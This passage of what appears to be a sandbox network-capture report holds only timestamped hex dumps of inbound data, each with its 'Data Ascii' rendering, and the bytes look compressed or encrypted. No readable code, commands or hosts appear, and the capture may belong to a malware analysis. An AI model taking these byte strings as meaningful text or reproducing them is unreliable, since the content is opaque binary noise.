c2 d4 81 cd 74 2d 61 7a 40 0b fa 3c 49 2b a2 ee d0 70 fd dd 5e 93 7e 4d f5 ff c0 c5 7f ef a2 a6 26 97 Data Ascii: r>]:^KJ_[N/JZ=c?S\vHOF>'Av>\cg{WuHw$X`h>&PyJ(HD;zfW"9_x1SJbC.S+RsE;P=q!,W{,buH.]_t-az@<I+p^~M&
2021-10-28 20:43:28 UTC	80	IN	Data Raw: 6d 5e 8e c3 60 70 72 1b 65 f7 a8 5e 07 96 75 61 3a 05 1b c1 61 d9 5f f6 47 62 70 9b 14 4e ab 3c 47 88 04 c8 4c fb 59 dd 1e 63 d5 32 96 c4 0e 34 60 bf a5 ed 40 b2 f8 c5 b3 3b 1d 11 fc c0 a4 45 83 ab 44 14 92 5e cb 10 eb 00 6b fe cf 1f d8 cd 0b 62 fd e0 1f c1 97 27 95 29 f1 11 1b c6 ab aa 81 04 2f bf 92 31 dc f0 b1 c5 d8 49 9d 41 06 5d 6b 94 34 52 53 e9 a1 97 22 36 3a ef f0 72 43 bf d8 11 bf 00 8d c2 e5 bc a7 42 d7 83 2c 6c 61 bc f7 21 c0 6d 9b d8 a3 f4 60 be d4 be d4 42 a9 a6 26 ff 2f 77 b8 ab 95 74 a3 17 78 32 40 5f 77 e8 bf df 7d 09 dc d2 a8 f1 9f 22 d7 19 71 74 38 60 8d a7 c8 29 04 c4 37 56 fe bb 28 5c ce 02 1e c9 57 58 65 3d 0e 15 f6 fa 0d 54 74 03 30 b8 78 d4 cf 2e 63 36 6d 20 2c da d7 1f ae 10 46 c8 63 7f a5 d1 e6 b7 5b 02 80 f2 26 3c d5 fb 33 d0 31 Data Ascii: m^`pre^ua:a_GbpN<GLYc24`@;ED^kb')/1IA]k4RS"6:rCB,la!m`B&/wtx2@_w}"qt8`)7V(\WXe=Tt0x.c6m ,Fc[&<31
2021-10-28 20:43:28 UTC	84	IN	Data Raw: 96 4a 1b 64 05 a2 16 4e e4 ec 01 6a f5 16 44 0c bb ac 85 36 4c 2c 9f 68 fc 74 7e 33 a8 e2 5c cc ed bf 40 6d 4e e3 65 54 7b 4f 32 fd 4e 62 5c 50 8a 82 06 6c 66 f3 1c 53 fb 51 34 97 a6 99 60 b8 bd a3 2e 33 62 de 4c b9 9f 71 96 58 c9 f1 b0 01 cc 5c 07 fa 6c cb 27 73 24 5b 01 5e d5 23 a1 34 ec 0e 2d b6 54 92 ef 23 94 c9 aa 72 cf eb da 18 e8 35 08 c9 3e 9c 29 b6 1a 6d ca 4d 4d 6b d1 9c 2b ec f7 6b 84 00 df 57 b8 53 25 ce a2 7d ae 7d 5b bd 85 42 b4 57 46 69 57 4a 2b 1d 49 e5 c8 7d 42 1b b9 81 fe 5c 54 e8 16 2a df 1e 89 1d fa 32 cd 7f 7c 16 27 ef 7a 9a a5 72 21 d3 2e 31 6a 94 ab 21 77 41 ff 38 e0 61 df 27 ca 21 06 9f fd 00 5e 4f fe 71 f7 58 ea 75 05 42 89 08 bc e0 93 2c 62 b3 c6 d5 d2 b6 54 0c 24 0b d3 ca 2e cf e5 65 e7 f8 95 9a 2f 0c 60 22 98 0c 52 a2 63 ed 66 Data Ascii: JdNjD6L,ht~3\@mNeT{O2Nb\PlfSQ4`.3bLqX\l's$[^#4-T#r5>)mMMk+kWS%}}[BWFiWJ+I}B\T*2\|'zr!.1j!wA8a'!^OqXuB,bT$.e/`"Rcf
2021-10-28 20:43:28 UTC	88	IN	Data Raw: 82 de 97 ca 9a e4 c6 95 00 ce 1f 0b b0 63 38 a8 d2 fa 36 00 ac e4 94 5a 8b d0 52 df 66 74 54 19 30 03 c1 49 ff a9 62 9a f3 20 6f 61 24 3e a3 b9 b4 1e 90 35 70 bd 25 46 b6 72 ef ed 3c 7c f2 41 83 44 77 96 f1 3c 74 c5 b5 39 63 67 a2 5d b2 7f 04 a6 7b af 82 a9 bc a8 42 fe 58 41 66 02 d0 77 89 f3 a5 7f 3f 1c 3b 0d 18 38 4a df 40 b5 96 77 58 73 11 a5 f4 9e b7 b1 f9 fa 97 9c fa 94 2d ec 7e 6b 21 32 31 50 f6 64 f3 dc c0 23 ec f5 21 6f a5 88 6c 60 9b ee 6a b0 1a 04 67 f5 35 2a cf 00 36 d5 ae ae f8 b1 cc 0e 8f ec 12 42 fc 14 95 ee 70 40 64 05 30 9e ab d8 cb 49 5f 44 52 bc e8 0f 85 08 86 61 8e 96 64 ec 32 0d 2d 94 d8 f2 d2 b0 9d e6 df 4b 82 14 40 a7 79 8d 22 00 2e 35 8f 14 41 a0 16 60 e5 0b a6 a9 eb 11 7e b4 e6 b5 fb 7e 49 02 87 0c 51 81 e0 e5 ed 06 4d 41 7d c2 cf Data Ascii: c86ZRftT0Ib oa$>5p%Fr<\|ADw<t9cg]{BXAfw?;8J@wXs-~k!21Pd#!ol`jg5*6Bp@d0I_DRad2-K@y".5A`~~IQMA}
2021-10-28 20:43:28 UTC	92	IN	Data Raw: 08 e4 6a a8 dc 01 3e e0 ab 37 1d 6c 6f 38 c0 52 43 22 0d 31 57 ad 67 15 c3 a6 39 37 70 94 93 c9 d0 4f cb 95 bc a5 bf 9e 6b c0 ac 1b 1c e3 dd 61 ea f0 08 0a 5d 98 50 03 c2 ab 51 23 c1 82 f2 a6 c2 85 b4 35 ee 16 54 f4 13 cf f7 07 f0 5a 91 c2 69 e2 72 45 94 a5 64 51 17 b6 98 46 b2 71 83 1c 9e 52 22 be 72 77 ed b1 3a c1 61 2a 58 c5 ca 8f 07 51 22 32 8c cd a4 4a e2 84 0d b5 4c 75 50 b2 f3 c6 38 34 01 b0 61 fb be a6 97 aa f6 4e e7 d7 47 21 ca 1f e5 41 f7 df 78 7d 80 a7 2d cd 85 04 37 a4 91 86 ed f1 ac 46 61 a1 0f 83 c8 c8 08 ed ed f9 c6 c2 2d 7a 95 17 f1 93 8b a3 fa e4 ce f8 91 e5 0a 20 9f 8b c6 4a 05 f9 4e f9 88 32 85 d5 c1 3c d5 62 83 7d a6 03 ad 4f 24 2f fe 1b 3e 33 f6 21 06 21 65 ec 01 66 95 ee fd 85 48 61 78 05 4b 18 0e f5 8b e4 87 b3 b9 cb 53 99 c2 3d d7 Data Ascii: j>7lo8RC"1Wg97pOka]PQ#5TZirEdQFqR"rw:a*XQ"2JLuP84aNG!Ax}-7Fa-z JN2<b}O$/>3!!efHaxKS=
2021-10-28 20:43:28 UTC	95	IN	Data Raw: 21 f9 30 2e c5 ee 30 59 5e 85 11 2f 6f b0 0d d1 0d ef bb 6d 33 04 37 4a 86 2e c4 d7 48 ef 42 57 b2 8c e9 8e 8b 37 93 6a f4 63 2e a1 d1 49 61 c6 2f 19 34 07 5e f3 71 50 cc e5 22 dd 00 70 e1 b5 2f 40 ff 3f 27 43 44 6d 89 55 86 a8 7c 47 47 14 5d 05 3c cb 72 69 f4 46 34 72 a1 ed 18 58 f0 21 4f d4 5b 14 b9 1b 02 8f 6d 40 f5 22 2c f9 e6 e7 97 a1 c4 93 b1 a7 b2 44 67 b7 f1 b6 7b 2c 9c ab 37 a8 1b 57 b8 a5 04 94 3c 2d 2a ba 0d 7c 01 4c 47 1c b5 03 56 f1 53 bd 7d 45 f4 6d 86 97 91 59 19 31 4b c4 e7 67 c2 f2 04 92 9f 75 10 81 45 74 8b 3b 6e a7 9e 45 60 45 1f 92 80 38 10 8f dc ec 75 a6 56 3b d8 43 e6 77 ec 5b dd 6b dd 8d 1d 2e cc be 97 2f 3e 9c ff 58 8a b1 ce 61 15 c4 50 14 63 9b fa d3 b4 98 2a 2c bc 2d e4 fd b5 ab 9a 30 e5 dd 47 8c 57 5c 72 da d4 9f c2 10 d2 8e e8 Data Ascii: !0.0Y^/om37J.HBW7jc.Ia/4^qP"p/@?'CDmU\|GG]<riF4rX!O[m@",Dg{,7W<-\|LGVS}EmY1KguEt;nE`E8uV;Cw[k./>XaPc,-0GW\r
2021-10-28 20:43:28 UTC	100	IN	Data Raw: e0 79 0c 46 8b 34 93 a7 a6 bb ca cb 8c 7a e0 5b ab da 2e 0a d8 07 14 d4 2a 76 0d 28 4f df bc 80 ec e5 56 84 72 3f 41 ea 72 a6 ac d4 5f 3d c7 52 f3 38 f3 16 7f fc ab 49 cf 9b e6 cb 27 46 4e 32 d8 a2 dd f4 25 f6 b5 f6 64 3d 24 08 0e e8 a7 37 19 08 83 87 c9 a7 96 6d 66 5b 89 34 03 37 c0 e3 bb 1a 63 fc 96 df ff 4a b6 31 ee b5 f8 92 2b 37 38 d1 4f 0b 64 5d 2e db 31 98 89 73 3a d3 68 08 15 7a 2d 49 35 c3 74 bb 61 8b 59 c6 ea 70 30 15 ce 1d d4 9b 58 9c c9 56 7c a7 41 d1 f0 c4 e3 eb 25 7e 83 44 c2 86 c1 4c c8 28 8d c5 45 91 b2 63 9c 55 f6 92 0f db 01 29 82 37 b9 4f bd 4c c4 fb a2 95 bf 2f 5d 68 7f d1 05 82 9f 0d 63 e7 bf ef d4 da af 47 4d 0e 1c c4 7a 4a 72 de ab 2e bd f2 84 e7 5e 41 15 57 56 75 67 b9 a6 71 6a aa 4f ba bc 46 7f f5 89 7c 54 e6 d9 7d 6d 93 3c d0 ee Data Ascii: yF4z[.*v(OVr?Ar_=R8I'FN2%d=$7mf[47cJ1+78Od].1s:hz-I5taYp0XV\|A%~DL(EcU)7OL/]hcGMzJr.^AWVugqjOF\|T}m<
2021-10-28 20:43:28 UTC	104	IN	Data Raw: be c5 21 6d 69 f6 eb 90 60 d3 b8 b8 39 e4 b6 02 91 ee ff 0e e3 bb f4 e7 77 08 38 66 4f 0b cb 6f 29 6d 15 ab 5e ad 39 c8 1a eb d9 6a bc 4c 79 f0 fa 6c 73 a6 aa 1a a2 be cb 66 6c 95 6a 5c 2a 03 e3 66 e7 cb 71 a7 f0 f7 be 89 cc fd 25 ac ff ba 2e ee 38 34 0f 07 4e a5 35 35 d4 b1 31 ae 26 d3 47 0d b0 67 2e 06 a9 cc 72 8c f9 ce 84 47 d3 e5 b7 af 84 61 72 9b 0f cb ba 44 ab 79 2a b1 f7 61 af e1 f3 fe ae 64 d0 f0 7f e7 80 1b c3 af ff 1b 58 4d f4 85 ce b5 ab 8b c5 13 d2 cf 45 2f 16 aa e4 a6 d3 15 c6 14 97 0b e2 59 c3 9a 86 51 36 b8 da 06 d7 81 ce 2e 0c 99 23 b4 ee 61 cc da ca ba d3 36 98 28 c5 5d f5 73 ac 62 50 c5 2b ee 40 0e 7c 4b 97 a0 d5 4c 93 e8 fb 3b 66 87 ba 5a b7 34 ed 8e b8 3b 98 f2 c2 d0 e0 98 cd 20 bb 84 82 fe 04 39 2e c0 63 02 ae 9a 4d f7 68 f8 8d d2 89 Data Ascii: !mi`9w8fOo)m^9jLylsflj\fq%.84N551&Gg.rGarDyadXME/YQ6.#a6(]sbP+@\|KL;fZ4; 9.cMh
2021-10-28 20:43:28 UTC	108	IN	Data Raw: dc 93 8c 48 ff af c0 2d 8d 0b 3a 38 7c ae 85 d7 ab db 29 e7 b6 09 69 e1 99 d4 ca 63 d6 25 31 7d 40 31 ad a1 c9 e1 55 65 ce b9 8a 88 bb ad 76 e4 ce 8a 42 21 b0 84 8a 82 d4 c0 1e 58 d9 e2 a9 c9 39 f5 1f 44 e2 b9 6d 3d 33 49 9f a1 42 d7 a7 99 e9 5d 4c ac b2 df 84 3e d0 9e 1a df 54 68 cb b9 c5 e1 e9 27 b9 c0 48 24 57 5b 1a 43 bc fb 30 aa dc c0 b6 e6 e0 4c 2d 25 f4 56 4a a3 30 73 7a 80 03 1c b8 0c 39 4b 26 fa ac a7 34 55 14 44 b9 31 00 60 4c 0f fd d6 66 68 5b 4c 6b 2c e3 7f 09 53 cb 9c b2 ff 1c dd 9e a4 27 80 40 fb 81 c3 f5 02 43 1c a9 3d 3a 54 0f 78 90 96 9a 05 88 cd 40 47 b3 06 a7 0e bd 01 3e b5 96 44 59 ce e0 58 d6 6a 49 da 14 a5 82 c0 d9 32 7e 7c 8f 92 c0 29 65 e2 79 aa 6f cb c0 0d 35 d4 38 a4 b1 e8 41 8a ef 84 83 0f a4 49 1e 7f 1b a7 e0 1c a6 61 16 c1 c6 Data Ascii: H-:8\|)ic%1}@1UevB!X9Dm=3IB]L>Th'H$W[C0L-%VJ0sz9K&4UD1`Lfh[Lk,S'@C=:Tx@G>DYXjI2~\|)eyo58AIa
2021-10-28 20:43:28 UTC	112	IN	Data Raw: a9 89 57 61 ac e8 54 52 84 0f 31 f1 97 99 3d 0a eb da 23 e4 6e e3 3d d2 02 98 4b cd 8d 76 9f f5 5c 0e 11 46 57 9b 07 45 54 19 22 50 57 85 f2 ee df fa 43 89 b6 ea 25 19 5a c4 9b 1c 74 a9 f8 0b c4 03 ec d4 cf da 60 a7 41 55 b3 e1 a2 cf 9a a2 24 d2 0b 28 72 bc 5c 77 63 13 1b 4e fd 42 58 a6 63 a4 f5 d0 17 c3 ea a9 72 62 e5 63 47 15 2d de b1 1b 8c 96 47 6e 41 7a 08 db 17 ff 3f c7 3d 3a 5b b3 45 cd cb f5 7f b9 51 b8 38 f7 b6 97 b5 79 d3 79 ac 09 ab 26 5c f9 93 12 b8 62 82 d9 4d 24 95 38 d6 86 8b 46 d0 a4 91 11 9c 50 53 bf e4 66 72 45 2e 80 3a dc a7 2a d4 d7 4c dd 42 81 70 b6 ff 05 c3 58 ba d0 d8 23 34 ae e8 1a 49 dd df 15 17 88 18 63 78 d5 86 1d 39 4b 71 71 38 c1 6c 95 12 d4 eb 68 61 a1 93 78 98 40 f2 8f 0b 16 e2 32 8e 21 bf fb 46 89 ed 4e a3 fe 45 8a 96 49 9c Data Ascii: WaTR1=#n=Kv\FWET"PWC%Zt`AU$(r\wcNBXcrbcG-GnAz?=:[EQ8yy&\bM$8FPSfrE.:*LBpX#4Icx9Kqq8lhax@2!FNEI
2021-10-28 20:43:28 UTC	116	IN	Data Raw: 34 c1 c3 18 17 29 d1 4a 81 5f 65 17 54 15 4e c2 52 2b 9f a2 42 2a 2b 74 80 aa 6e 65 b4 76 a8 c2 f2 b8 73 10 5f 7c 61 08 82 00 1e de 6a c6 6a 1d 73 75 0c 5e 37 d9 8a 6d 47 eb 1e 85 62 74 4e 3f 93 6d 51 6b 4a 08 7f cc 4c a9 1e 6e 34 5a 7c 1f e1 c2 d1 a5 d3 e9 9b 2e ae 3e 6f 9a d0 e5 c5 98 9b 8c 7b 1b 6d 84 aa 8e a3 3a d9 7f 09 54 1c 94 cb 5e e7 de 66 51 89 ca 84 67 94 ef 1a 06 63 96 08 09 4e f1 53 57 9f 27 33 54 51 87 bf 63 23 5a 77 94 af 9c e7 65 6e 9a 93 2f 31 74 df 1c da 8f 0c 6b af ea 9d 4d 1a 1a aa c6 1b 04 48 5a f4 ef 27 2a 92 48 a7 d3 c2 c2 9d 36 c7 64 b6 cd 68 89 9f 07 31 3d 91 44 33 e1 29 98 0e 46 13 fb bb da 77 85 25 a4 1b bc b9 7e 65 7a 04 d4 74 c1 22 54 52 7c f5 67 5d 0e 16 4a 17 c7 30 f8 10 98 64 d5 9b 3f 97 5b 5d c6 a1 e6 4c b4 44 1e d2 a4 af Data Ascii: 4)J_eTNR+B+tnevs_\|ajjsu^7mGbtN?mQkJLn4Z\|.>o{m:T^fQgcNSW'3TQc#Zwen/1tkMHZ'H6dh1=D3)Fw%~ezt"TR\|g]J0d?[]LD
2021-10-28 20:43:28 UTC	120	IN	Data Raw: a5 e7 76 73 1d 12 29 ce 69 5d 32 b4 de c0 62 24 6b 51 f6 5c df a8 6f aa a5 b9 52 6c 5e f2 c9 4f b3 20 87 a5 bb 59 82 f1 b1 44 0a dd 2f d5 28 b5 7a 7f e6 ae 49 2c f8 c6 7a ae 55 bc 12 2f cf a1 57 3a 9a 25 8c 6b 79 c5 3d 0e 34 2c 99 b9 e4 5b d7 df ac b8 87 f3 5f 4d 10 c1 cf e7 60 bd 55 11 4b 08 2c 8a 50 3d fa 8c 43 b1 cb 54 ac b4 8c a2 51 0e 0f 75 d8 63 62 db 47 8a 33 57 0d 1f 69 03 d0 ba 2c b0 fc 55 a6 3c 0f 45 6c 43 ee d3 9f b7 97 27 ee 14 a3 57 26 be 05 83 6e 13 00 d0 6f da ad 08 cd 38 ea f5 b9 a7 f1 98 07 12 e1 7a e0 25 1c f7 50 39 2b 58 0d 8f 40 b5 5d 31 81 b3 5e 20 b9 9f 6e c4 e0 ff aa db c0 f6 76 7b c5 fb 8a 29 90 72 12 ee e5 48 fb bd 16 eb 62 8e 3b b0 44 19 e2 03 f1 90 13 e5 33 60 a1 b2 7d a0 ef ef 2e ca be e8 ef f5 a3 08 d3 75 ea 43 1e 2a 9f 63 94 Data Ascii: vs)i]2b$kQ\oRl^O YD/(zI,zU/W:%ky=4,[_M`UK,P=CTQucbG3Wi,U<ElC'W&no8z%P9+X@]1^ nv{)rHb;D3`}.uC*c
2021-10-28 20:43:28 UTC	124	IN	Data Raw: a9 36 cd 7b 55 bf 3a db 3e aa a9 1b c7 91 e6 4d 40 a5 8d 68 cb b4 e9 86 75 a6 ce a5 5c ca 0c 15 bc 09 e1 60 ca 12 cf 0c ed 02 ac c0 e2 0a 1f 4d 82 7d a8 56 c3 02 f8 8e 52 d8 52 92 1d 6a 19 9b 61 1f bf a0 a5 05 44 cc 4c 66 f4 ab 24 30 3a 8d aa 72 ec dc 6c f7 9c 60 42 90 19 00 68 f2 e0 c7 ed 69 1f ef ff f3 2b fc ee 00 e4 77 88 dc c8 d2 af a2 23 e4 b1 33 bc 10 47 41 06 c2 2b c1 b7 67 64 b6 6c 45 65 49 3f 35 97 4a fe d3 69 3d b7 86 2a 8c 3b a3 96 3e f3 18 41 0d 97 8d 04 e6 2f 9c 58 39 92 74 85 95 66 9c ff 7b dd b8 ea a6 05 1c b0 b7 28 b8 f3 5a 37 78 27 da 5e 72 46 9d 04 d2 a7 95 27 16 ba 67 ae cc 72 f6 36 78 ed d6 59 f8 30 d7 e6 ea 76 03 ab 0b 08 b4 92 75 8d f7 d7 c3 ca a2 16 94 42 33 9c b0 42 7f 65 99 2d df 27 ec 69 99 cc ee 73 13 f2 9b fe 81 9f 55 57 6b c4 Data Ascii: 6{U:>M@hu\`M}VRRjaDLf$0:rl`Bhi+w#3GA+gdlEeI?5Ji=*;>A/X9tf{(Z7x'^rF'gr6xY0vuB3Be-'isUWk
2021-10-28 20:43:28 UTC	127	IN	Data Raw: 0a 0b 1b 7c 77 88 f6 0f 87 ca 2d b5 a8 dd e3 76 38 97 9c b3 2a c5 a5 35 59 fd f7 90 09 cc b7 68 08 98 cb de 23 f2 f5 90 32 37 af 52 2d 58 49 95 a3 e8 f7 34 70 29 17 fd cd 1c ac 97 ca b9 be b9 45 f0 eb 05 8f 5a b7 ae 19 7b 6f 10 b0 b4 4d aa c0 36 fc 30 7f 05 e8 37 be ba 64 4a f1 b1 61 06 6a 80 02 82 40 09 56 7e 69 57 9a 2d 3b 01 8e 1d a3 93 95 99 34 b2 1d f2 c9 21 ad 14 d1 88 cd 77 2a aa c8 09 0b 58 b3 b4 ac 2f 79 55 23 19 88 fa a6 d0 11 c4 29 f9 b5 7f c3 4a cd eb 13 c7 26 0d 3b eb 57 8c b2 18 8b ac 7b 61 ce 3c 45 29 44 da e0 c2 4a 6a 64 fb 97 24 41 68 8b fd 6c 17 f1 36 dd 15 c1 fe 88 43 4b 35 ac 5b b4 a3 9c 1c 0a a7 55 18 88 fd 83 7a c5 3e 85 5b a9 a8 a7 38 08 37 82 60 87 2f c4 fb d2 e6 af 47 ae c5 30 96 ac ba 46 f5 90 3f 05 d4 71 60 aa 73 ad 43 ad 18 b6 Data Ascii: \|w-v85Yh#27R-XI4p)EZ{oM607dJaj@V~iW-;4!wX/yU#)J&;W{a<E)DJjd$Ahl6CK5[Uz>[87`/G0F?q`sC
2021-10-28 20:43:28 UTC	132	IN	Data Raw: ee e9 2e fa 22 94 f1 84 35 57 92 a5 d6 74 2f 6d 5e 1a 68 a4 96 54 17 b9 2c e9 6b e0 89 9e c6 23 3c 9f 3b 97 fe 07 a8 18 cd f9 4a 78 fd b7 77 3f 07 70 2c 52 64 3e 78 db 12 35 cc 02 d4 85 fe 03 4c c7 f7 19 15 8f 0f a8 16 2f ba 5e 53 f0 19 22 d6 fc 9d 0a e6 a6 68 1b 7a 43 95 b7 44 e3 30 6b 44 0b 08 30 8b 37 3e d8 15 8a c9 0c 56 7a c5 ac 04 66 90 ae 22 e3 00 05 b5 9d ae b8 3e 2e df 9d 46 d4 bd 3d 6b dc 1c 18 23 5d cc 7c a8 a9 81 a9 fc cb 45 97 d5 97 ef fe c7 01 00 f8 ef a8 04 2d cb 9b 46 17 ac 72 ef fd d1 dd 49 6d ea b9 8a 0c b3 77 a1 12 90 69 ef b6 d0 c2 4d 2e 67 c5 1b 73 55 3c 30 27 2a 02 7e 4a a9 f6 34 3e 99 90 cd 05 15 36 93 3f 3e 18 4e 7a 43 1a 0e f4 84 46 8c e6 52 a8 f9 8d 52 7e 7a 46 a9 91 dd 9e 82 99 ed 4e f6 2e e3 0e e0 18 be 00 75 dc f7 6f 2e 6a a0 Data Ascii: ."5Wt/m^hT,k#<;Jxw?p,Rd>x5L/^S"hzCD0kD07>Vzf">.F=k#]\|E-FrImwiM.gsU<0'*~J4>6?>NzCFRR~zFN.uo.j
2021-10-28 20:43:28 UTC	136	IN	Data Raw: d0 f2 63 5e ea 52 43 11 62 8b 84 47 9b 66 d3 67 c8 53 61 28 2d c6 cb b1 c1 20 b1 73 72 37 99 32 93 6c b1 9c 7c 9c a5 ff 6b 21 5a 17 f0 a8 64 29 cc ee 65 8d e2 9c af e8 50 98 a8 a5 74 be d7 ec f7 e4 9a ee e9 4c 2a f1 a9 87 8e ea 13 d0 b3 88 8b 92 d7 50 d3 56 99 27 61 17 48 9b 78 ed b0 ac 1e bf 62 8f fc 72 28 6f ce b5 98 cd 5c 4f 60 b5 6f b1 f2 3a 3b e8 47 ab 50 22 12 d4 58 d0 9c b4 c6 8a 9d 7a 79 0f 9f c1 df 6e 1b 71 8d d2 44 2d 28 1d 73 a7 ac ce 67 74 20 dc d2 2e 9a f8 2d 64 10 6b 86 db b5 df a2 37 7b 95 6f d9 f7 ba c8 47 6c 61 f3 5e bc 8a c7 cf d7 35 a1 61 c2 24 1d 5d 87 4c 7b 85 b3 c3 b7 82 43 f3 90 09 b7 f4 15 01 ec b0 22 12 93 ca bd 14 0a 4f 90 37 b8 c9 a1 33 83 99 a0 ab 97 41 cb a4 8f e4 e9 df 0e 44 9d 2a 8b 96 f9 e8 09 71 2d e3 d5 58 05 bd b4 68 69 Data Ascii: c^RCbGfgSa(- sr72l\|k!Zd)ePtLPV'aHxbr(o\O`o:;GP"XzynqD-(sgt .-dk7{oGla^5a$]L{C"O73ADq-Xhi
2021-10-28 20:43:28 UTC	140	IN	Data Raw: 99 4a 57 0b af 0e 4f cd 76 cc f9 70 d4 8c d0 c6 fe b6 8c 10 52 50 10 76 cf ac fb 31 fd f6 58 cc 12 6b 2d f0 e4 3d 1f 1e ad 44 1b 13 a2 68 c5 12 a8 c3 65 37 ab a7 47 f7 e0 34 45 3f c3 2a 21 28 16 b4 71 00 33 7f 5f 7b 82 b1 e4 b0 ff 72 2b 78 9b d1 eb 2a 1f c2 ef 02 fc 55 0f 71 98 cb 9c 4c e6 cb 15 ac 76 e6 31 76 b8 19 4e 89 69 e8 bd 8d 16 00 fb ed 1e b0 52 2c aa ac 6b 02 31 99 81 3c 72 0f 5f 35 f4 de 38 3b 26 93 4c 09 0f 30 9e 77 50 9e aa 71 a9 eb 0f 6f 40 f2 28 a9 31 f8 eb 1b 31 e9 73 da 34 a7 83 5a be b2 59 54 2d 8d 7a 34 5e 64 a7 0f ec df 9a 43 f9 72 a4 77 76 11 4b 42 02 88 a4 d8 d3 60 09 6a fa f9 d0 44 eb 24 fe 81 6f 6a 64 28 af b5 e0 48 15 db be 9e ff 11 12 4a 37 73 dd 48 81 ef 26 71 52 af 47 da 8e f7 8a 0e ae 3d e4 06 c6 3c ba 2e 07 f7 55 b9 5d 54 aa Data Ascii: JWOvpRPv1Xk-=Dhe7G4E?!(q3_{r+xUqLv1vNiR,k1<r_58;&L0wPqo@(11s4ZYT-z4^dCrwvKB`jD$ojd(HJ7sH&qRG=<.U]T
2021-10-28 20:43:28 UTC	144	IN	Data Raw: 6c 29 11 d3 fa 1b 5f ca 0d 10 67 6d 2c f9 de 01 04 4e 9d de 88 53 4f c8 42 cb e7 8e b4 c7 8f f9 d4 d0 0b 60 38 e7 d9 e5 f5 b7 23 d8 b7 a8 a3 7b 6f 89 18 27 35 ad 60 25 ee 1c 9e 05 7d d6 17 2c 59 ae 37 c6 01 2e 5f 91 6f d6 a4 36 68 82 82 17 ff 89 2b de 4f 24 55 70 12 8d f0 a9 ff 85 8a 87 5f 9f 28 e0 05 4b ce c7 bc 44 6b 22 a8 f6 f6 49 8e 37 7e c7 db bf 0e 87 dc 02 0d 7d b4 05 7d 34 a7 40 85 0f 40 71 56 91 e6 b1 75 e8 4b 55 33 b6 b2 f8 e7 76 bc 76 04 29 65 f9 ae 12 71 f5 47 eb 1f b8 32 56 6f b6 22 fb 5b 89 00 dd 6c c2 e3 55 16 a3 25 00 9c c0 ad e8 60 14 53 55 bd f5 dc 88 05 2b 07 bd b8 0d c3 93 f6 8f fd 25 f0 55 23 c7 7e f4 64 7e 78 c4 db d8 cf 52 19 6b 5d 87 70 a8 e0 ba a8 28 83 9e 47 d6 ba 4d d8 47 91 12 49 fb 1e e9 5c e3 5d f9 c9 26 07 ef 0f 8d 86 6e d7 Data Ascii: l)_gm,NSOB`8#{o'5`%},Y7._o6h+O$Up_(KDk"I7~}}4@@qVuKU3vv)eqG2Vo"[lU%`SU+%U#~d~xRk]p(GMGI\]&n
2021-10-28 20:43:28 UTC	148	IN	Data Raw: cd f3 a1 55 54 8f 15 e5 37 e9 25 aa 42 8c 06 9e 5d 2e af c5 05 8e 27 52 06 fb c0 51 1b 8f c5 11 71 d3 3d f5 04 a1 2f 74 bf df 6a 52 e6 97 bf ef 7d 86 75 5a 45 ca 9c 4e 67 dd 5b 66 17 45 42 5a ca ae db a4 60 16 85 45 62 f4 c3 7f a5 69 fb d8 23 75 31 02 53 13 d9 c4 0d ef 86 62 59 b4 29 9a db ce 4b a0 c3 09 54 66 ad c8 4d 0f 58 f8 ad a8 9d 07 5c bc 44 80 4d f7 41 91 e7 bb 0d a1 e7 fe 4e 7b 7f e5 c7 39 d8 3d 38 98 9b ef 9d 59 b6 e4 02 00 89 b9 66 e2 03 e7 09 5d 0f dc 34 4e 87 a1 5f 15 d0 09 26 af 15 26 ad 95 b1 f5 d8 5c f1 90 9c d5 5b c7 dc 90 92 dd fb fc e0 b5 63 63 f3 4c 58 8c 20 7b b8 a3 33 33 dd 11 f0 f9 50 48 bf 74 f3 90 27 ee 60 a5 97 f9 28 e5 45 ca eb 9d c6 83 33 74 36 28 86 30 55 18 31 c4 61 99 be bc bf bc 68 ef 3e 7a 10 c6 24 04 01 2f 3f 61 9d cc 46 Data Ascii: UT7%B].'RQq=/tjR}uZENg[fEBZ`Ebi#u1SbY)KTfMX\DMAN{9=8Yf]4N_&&\[ccLX {33PHt'`(E3t6(0U1ah>z$/?aF
2021-10-28 20:43:28 UTC	152	IN	Data Raw: a2 64 2e 8e 1c 6e c2 be e6 1a b1 78 7a a1 dd 7f 78 8b b4 ea 0a 5d ee 63 64 4d ae cf 61 98 d0 36 ce e2 20 da db 47 b6 22 79 74 7b f2 b3 f7 6d 19 21 16 7d 37 9d df 60 e1 84 31 b1 ea 33 6a b8 15 0f 22 e8 3d d9 46 eb 62 80 20 cd ca f8 1e 27 43 3d 69 d9 65 f6 2d 3e 99 4f d2 4e 4a 55 71 a3 4e b4 a6 22 73 c5 14 3b 3e 7f 91 1e ca b9 92 e3 34 16 e6 b9 ce 5d 79 a2 39 81 da 38 c4 3c f6 89 b1 85 fa b3 87 b6 b4 f3 18 d5 71 5e 81 9a e3 4c 60 75 c9 fc 40 f5 af 69 ee 7d 6e 00 66 27 a6 82 f7 19 ce aa 5c 78 d1 a3 39 28 3c d7 37 a6 5a 1c 9d 48 58 39 6b d4 93 48 80 da ca 82 28 6e 26 7f ca 1f 4d f1 8c e0 63 e5 5b 5a 78 c7 fb 71 e1 54 08 a7 c9 48 f5 bd b8 75 e1 4b 8a 0a f9 0d 14 7f 10 5c ae 89 74 23 b3 14 9f 77 52 5d 86 24 1d 66 ec 07 97 25 da 14 22 54 68 75 66 a9 ab 18 a6 33 Data Ascii: d.nxzx]cdMa6 G"yt{m!}7`13j"=Fb 'C=ie->ONJUqN"s;>4]y98<q^L`u@i}nf'\x9(<7ZHX9kH(n&Mc[ZxqTHuK\t#wR]$f%"Thuf3
2021-10-28 20:43:28 UTC	156	IN	Data Raw: 4d 71 a8 11 b0 b2 c5 22 bb 13 68 a5 7a 9d 3a 4a 85 5e 2d 64 05 0f fe da 05 65 1a 3b 9d d9 ac e1 cc 5c 75 73 84 d6 d2 73 be dd c2 68 28 54 53 6b 9d c2 d2 c7 7b ac 30 7e 36 29 e4 a7 9c 31 d7 e2 2b 9b 3f 5e 0e b1 ea 94 be 88 4b 00 8b 18 73 34 ac 42 20 18 76 9a ee e4 ce 6a d2 81 2a bf f3 14 c8 70 ca a0 73 38 0f 31 09 c4 56 8b 65 e5 d7 2c a4 ce 46 d0 dd c2 24 a5 07 48 63 51 4a 16 c9 83 ca fe ae f7 d3 55 71 57 c1 a5 c0 43 7d 49 b2 9a 5f 96 15 c4 12 66 6e 4b f2 9b f6 27 d3 19 97 e7 f3 de 48 4c e2 67 6b d0 9a bf e0 10 9a 6a 27 3e 57 76 c5 cf 57 68 63 bf eb 2b 32 f3 